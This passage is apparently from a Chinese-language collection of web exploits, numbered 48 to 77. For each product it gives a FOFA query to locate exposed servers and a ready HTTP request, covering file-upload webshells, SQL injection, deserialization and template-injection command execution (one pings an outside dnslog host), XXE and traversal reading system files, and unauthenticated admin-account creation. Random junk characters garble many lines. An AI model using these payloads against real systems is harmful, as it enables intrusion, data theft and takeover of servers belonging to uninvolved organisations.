) w& T8 k% i5 vIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close


, o8 k) l! _) s2 y5 q& q/ v  X) W) W. ?
48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
" i6 [) h+ O/ }0 _3 [; q8 H7 QPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" E( j& o8 Y2 K4 fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
- B/ b* H/ y* x, j0 U------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
( e2 `* Z8 l9 B1231
Content-Type: application/octet-stream
------269520967239406871642430066855
4 @7 r5 o$ u! M& A! jContent-Disposition: form-data; name="upload"
1 c$ {4 e2 f6 H" Z" supload
, S, x* V0 H' ~$ ]$ e: s2 M5 D2 B------269520967239406871642430066855--
1 S4 w& b1 m( I& s7 ?0 ?, k

& n/ B$ k! ~! A7 \2 j  S6 e49. 用友U8 CRM系统uploadfile.php接口任意文件上传
: T8 Y9 {- o5 V; l# e% W( y- |FOFA：body="用友U8CRM"

( O9 j: d6 _. k6 N, p& RPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
2 Y6 I9 k8 f& U; w* ~8 K" bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
" u; g/ O; J% \6 f8 n" m3 V, CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
9 u: r0 s/ X. Y. y+ sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 q( f" I" n6 Y, C( JConnection: close
. H5 L, G0 V  P" k0 @Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
- u: v6 F& t5 q% }8 v) d7 I6 K9 j. K
2 J* y5 [- h% z3 o-----------------------------vvv3wdayqv3yppdxvn3w
* v: Y6 s* u  Y) J7 s8 q3 |Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
% ~4 {( `0 E( b# N
* n6 [8 K; s& Q- t) t9 Mwersqqmlumloqa
/ r5 z& O: K4 S/ ]-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

  R% a6 x2 ^9 e3 ^0 s8 |) Vupload
-----------------------------vvv3wdayqv3yppdxvn3w--

( Z+ D: L) W: b5 V, e% g
0 Z% L- h$ Q; y, E6 {- rhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
4 P/ s3 i. k2 w5 S) p
50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
( O6 N! q% G' s2 X' F5 lPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
& n# U' q- Y" B" C: }6 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
. @6 u3 k+ I$ k. h' I7 N: o( vConnection: close
Content-Length: 224
: f& a4 x' R7 `4 a9 k  w: EAccept: */*
' _8 j! N9 B, gAccept-Language: en
. E# B- H$ d* t: Z1 hContent-Type: application/x-www-form-urlencoded
9 {0 ?! y+ L6 x# r& W& aAccept-Encoding: gzip

3 H4 V  ^8 A# e( Q& |2 c4 hsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
/ q& U8 @: ?* h) s0 n

9 ~) R7 w( L3 f8 F+ C4 S51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
: ^7 f. w$ n. ]8 r1 W& SGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 l* F2 s2 ?2 u8 JAccept-Encoding: gzip, deflate
6 q: N- J( ~; \5 J) XAccept-Language: zh-CN,zh;q=0.9
Connection: close


: E7 ]2 b$ ?. I5 I  N52. 泛微E-Office json_common.php sql注入
! A$ a7 `, l3 h' }* MFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
' |# i1 z3 ^' ^  s" r4 NHost: 192.168.86.128:8097
4 p, P' u- h$ r( Y; h; iUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 s: [. H8 o4 ZConnection: close
Content-Length: 87
4 ?3 Q5 `  q! D' F% }* MAccept: */*
* D7 [, N0 T8 X' S  i" a9 ^8 N8 l7 \0 ~Accept-Language: en
Content-Type: application/x-www-form-urlencoded
; w1 ]" ~8 L6 F2 P: k8 rAccept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

$ m/ C/ r& S0 V1 t
53. 迪普 DPTech VPN Service 任意文件上传
6 y( o9 J8 M4 N* fFOFA：app="DPtech-SSLVPN"
* b6 q9 x; Q2 f0 f/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
3 y1 O0 W6 N" `! Q

/ s) Z: i! U" H' U8 w* S% D54. 畅捷通T+ getstorewarehousebystore 远程代码执行
5 q* }. o/ m, x9 Z" vFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
; H9 M7 L) }9 I; L+ Q% X& |

完整数据包
# V9 o) Z" I. J! b' P% \POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
+ K6 C/ V8 f; QHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

; b; s* ?' `. a- j) G- {( ^{
' F- o# p% `+ l  W5 H, _$ W" G"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
% M. W' `2 H# s# z0 y "MethodName":"Start",
( I' M4 q2 [- n" r5 s( U8 |4 M  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
/ b5 B4 [; c. E# o+ \8 L8 n8 s    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
}

9 |% [! X- {. c9 M
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
( X- f. y7 m3 J

55. 畅捷通T+ getdecallusers信息泄露
" {5 v" @) Q& G% h: ~FOFA：app="畅捷通-TPlus"
第一步，通过
5 N9 u# ~1 j9 B+ [/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
* g9 }' u! [/ @0 O第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

+ x6 N. J- y, O! t) B, O* b56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
  O: g$ ?; ^9 C" N4 V8 BPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

6 k3 a3 K. W. o- ?{
( e. O% o/ h' ]0 A. A& S1 A  "storeID":{
3 ?( c/ B& m( B    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
+ b, u) [- ?0 o2 u5 u. }   "MethodName":"Start",
    "ObjectInstance":{
8 U! T& M+ a0 c4 h3 C       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
( U) t! g- |+ c) ?) u* `, b% C+ |2 Y           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
! j; q  c$ _* z4 E, t           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
( N! N% i: [0 f7 G6 n  d2 e    }
  }
& A- B7 M. ?4 R}

$ V& f* o' I: I( l& C! o2 k
$ u9 `' ~3 _; L! q: S5 h57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
* {5 U: v9 f# \1 ~7 i* ?1 HHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
" w6 u- g& j* h( M9 e) |Accept-Charset: utf-8
8 [  s% ?2 P8 w1 UAccept-Encoding: gzip, deflate
Connection: close


% T0 t% x; c& r1 C4 F5 C6 d) `& m58. 畅捷通T+ KeyInfoList.aspx sql注入
2 t$ ^9 j# H. Y! q5 H  BFOFA：app="畅捷通-TPlus"
% T* a# ~. o/ ^/ yGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


: g; y/ F6 P+ N( Y% @: }, c59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
# d, h7 q5 S% `2 p, A& _6 r; _7 UHost: 192.168.86.128:9090
7 q6 w# g. d9 A+ r* iUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
5 f5 D! U4 d& j8 f! D" c" h1 Z2 d, DConnection: close
  v2 \% x9 H, t! CContent-Length: 1669
Accept: */*
Accept-Language: en
& _$ p  z# g! y7 l0 LContent-Type: application/x-www-form-urlencoded
- N  U, k1 p$ J+ [, NAccept-Encoding: gzip

PAYLOAD


2 Q9 ?5 s3 n9 U% ^9 |' a8 `6 ^60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
7 x" m. q- ?( F: T: ]GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
1 e6 ~+ b0 ~" R  e. c1 `' F/ Y2 ]Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
2 O! s+ b1 L1 D. X& k5 }4 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) W: t; z2 u' y. e2 TAccept-Encoding: gzip, deflate
% g4 Y9 {7 H$ G2 j7 ~9 lAccept-Language: zh-CN,zh;q=0.9
Connection: close
5 ~+ K; p8 Q. e4 M) b
1 X# x5 {4 D+ V/ A, C% u: e
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
3 |7 W$ U+ N9 D2 RPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
7 ]5 E% C2 G! Q; pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  q+ U' s6 Q% p) hContent-Length: 27
2 e* l4 ^* ^- v1 hAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
. |9 b% T2 h; nContent-Type: application/x-www-form-urlencoded
+ b- Y1 J' F( F3 v
8uxssX66eqrqtKObcVa0kid98xa
! |+ k$ W" H9 ~$ J% E1 o0 _
( s6 u$ w/ a  b" w
62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
# ^- b7 W) q0 A( L: r6 q, EUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
! c. r- }/ h7 ~- g* U5 ]- ^1 J5 |Connection: close
9 z! ], t: ]7 P0 kAccept: */*
  o! y5 ~1 A9 }: N) O, lAccept-Language: en
Accept-Encoding: gzip

, b" s  T3 X4 h5 m; g. F3 b/ Q
访问
/ ~9 W% Z9 z/ G/ _" @
, x% a' n5 P- CGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
+ G7 [& W1 J& v1 J; L# `$ j/ s
5 M! p, x4 @  Q
63. IP-guard WebServer任意文件读取
1 X5 W! L4 Z9 k+ n: Q; MIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
% {) A& l* E5 v$ o- w* cPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
; _2 r. ]5 \1 HHost: your-ip
3 Y9 C3 g2 U/ H" M# W" d; F9 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
* m9 c4 t) T: C: {+ iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
. ]4 g! u  W) @1 LContent-Type: application/x-www-form-urlencoded
8 m% N+ d$ K' i9 r
; H8 Z. [/ c9 A, t1 S6 _/ bpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
8 s6 G# K( |& A4 ^% j
  I% B9 X& U: N$ P* s64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
/ ~- T! H, r9 o) q+ A5 \POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
# `1 m; |/ Q8 E" xUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
/ A( R- m6 r; ^/ |Connection: close
$ `1 D+ V5 H/ x/ u" [: i1 RContent-Length: 369
1 h  K3 Y# B$ F5 ?: lAccept: */*
5 f2 W! i7 [3 @Accept-Language: en
: }2 ~8 n/ F+ y) u/ |( XContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
, a+ L7 ~/ D% C- @
! U. F  p) n* C1 M0 i9 ]! @2 U9 T: A6 e<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
: h" Y( y- J9 [  V7 X    <GetOSpById xmlns="http://tempuri.org/">
: O" V! |' u! F9 z1 |      <sId>1';waitfor delay '0:0:5'--+</sId>
! P7 K6 n  g( V$ {    </GetOSpById>
  </soap:Body>
/ P9 A$ {# d7 n1 W" m</soap:Envelope>

1 i8 z* M3 M! z% t4 Z0 v/ a
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
* I. E7 a9 t) bFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
* k$ Q8 d" t/ v/ h! ^  jUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
7 [7 P! z. K& @! p: W! ~Accept-Encoding: gzip, deflate
Accept: */*
% n% ]+ |! C% [5 I7 I, J- jConnection: close
Accept-Language: en
Content-Length: 174
" e3 [" Q, {* r* p
- K+ x: B& T: coperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

7 v; K# k1 ~, n% ?. X! |5 [. w8 e
* y2 u" E4 n9 B5 Y5 G& g7 T$ a% |66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
* J$ k$ \  Q9 k$ B# ]/ g2 ^) i2 d5 BFOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
; T  G1 n5 k3 \# p2 ?3 @! K0 hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
9 n# _: d4 w. O) ~* tAccept: */*
Accept-Language: en
Accept-Encoding: gzip
% c, {& }# B8 t. o- q. ]2 @0 I
/ w# `$ X3 F& Y- a6 C! @: i. K
8 D# Q3 N* B6 Y9 ?第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
9 j& ^. l1 m1 |. W$ `  P
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
/ Z7 b" @. j! a$ A" KnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
$ |/ e, B3 A+ P/ H4 P9 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- V/ ^( ~3 Q9 g, z* }0 BConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
( [2 p' B, F5 L# N% NUpgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
+ G3 i5 s9 b" p; L9 g4 u# fContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

: D* ~8 I0 s9 A* [3 _$ t7 S& T+ I
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

1 M; [: H0 B  g, _3 V. {68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
! y4 n5 ?# s, [/ R( i4 e+ Y% rHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
; X0 x( `7 l( w- e9 \Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
, ^3 a5 Z! j# L5 WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) |, v7 U5 k. J7 D7 [. ^. }Connection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
! G0 {: B9 V* n3 D+ aFOFA：app="万户ezOFFICE协同管理平台"
# ~1 x! f' A  E0 P, u1 J& A# _GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
! C! E- R/ }; Z* f  J- J  wHost: your-ip
4 g" X+ V+ e- U) H4 M) IUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
3 B( A$ T: H- E9 x" Z: ~: EAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
( y+ z3 y% u3 |

70. 万户ezEIP success 命令执行
# Q& W) R, n+ T- H+ NFOFA：app="万户网络-ezEIP"
& F: I: s: z4 Y. ]$ [( y( QPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
# K6 z! R3 H, M$ i* p1 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
4 j; i! r+ R9 y! U+ ?SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
+ I. J, H, {/ `0 TContent-Length: 16702

__VIEWSTATE=PAYLOAD
: s$ r- T' ^+ [2 N% B0 F
& q- ^& _0 x/ J8 D6 o, }& Q5 ^
* A7 z, M+ A1 I71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
* L3 |0 B0 D1 A" \( a- @" |FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
  y5 w4 L$ ]  f! u7 z. n) q- FHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

9 ^6 N7 i* l3 d/ u/ @$ s
( ?  Z  M% S  L72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
( N- l4 A, U; DPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
# n% b/ S4 s: L5 XUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
2 Q# ~# W, t; B$ hContent-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

2 ?" O" W7 Y2 j5 \8 x  TS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
& a( Z8 M7 J. N2 m4 q4 X
- D: ^( S7 T, ^! L2 t( |
, _4 d5 T( C! I$ ?73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
; \2 N$ Y  x2 c2 @+ ?# UConnection: close
Content-Type: application/xml
' o1 e6 ~4 A% C* YSL-CE-SUID: 3

PAYLOAD

$ ~7 W/ b  Q* T) s. S0 j
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
$ r6 _0 G+ g$ R5 b) r3 p& IPAYLOAD
- p0 B- N8 w2 p# D
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
2 D# R5 z" n; }FOFA：app="TELESQUARE-TLR-2005KSH"
1 K, H5 D6 v5 q, ~; A5 d: TGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# T* F* t) b* w% q5 B0 RConnection: close
. v* U. g; \% r$ O' rAccept: */*
Accept-Language: en
# Z- b4 ^6 K- l/ v& P- b" @% `Accept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
3 g7 N( k5 J- O0 L( r; `# DHost: x.x.x.x
1 [# m! y5 C! H  G. R: n

5 `3 R/ y( M; t& G: O& K5 h5 A! U76. 新开普掌上校园服务管理平台service.action远程命令执行
. v/ V* t2 v4 |9 ?& a* oFOFA：title="掌上校园服务管理平台"
+ S; u" @4 i$ V, _, |POST /service_transport/service.action HTTP/1.1
7 [. t, F% E/ q/ ~7 R( i. m; H5 k& [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
6 B" D& A4 x4 f* s, H' Z# V6 o% SConnection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ A5 h8 q# v: d8 L0 wAccept-Encoding: gzip, deflate
0 H8 \- u. X5 d8 ^, A0 kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
6 r3 s3 M9 D+ X* \5 T  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
" ~! _5 b: N1 d
+ \) ~, ?4 t  {4 p* N
8 g( W$ j  I; m& uGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
0 R. ~0 b8 {6 e2 dHost: x.x.x.x
/ {. Q2 \$ p. u: Y6 E5 p
3 S6 {$ x  p3 V- e0 Z- s" M1 q
* C% r8 ], s1 Y. a6 q
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
) m( C% t/ p8 b) x3 c; c- t& o2 XPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
! K$ l) N) s; P: S! F5 u/ JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
0 n/ e' j  R( L* ]  `" b& ?Content-Length: 433
$ N  o9 l, \3 l3 ]Accept: */*
. p" G  H, r0 x6 H8 P+ iAccept-Encoding: gzip, deflate
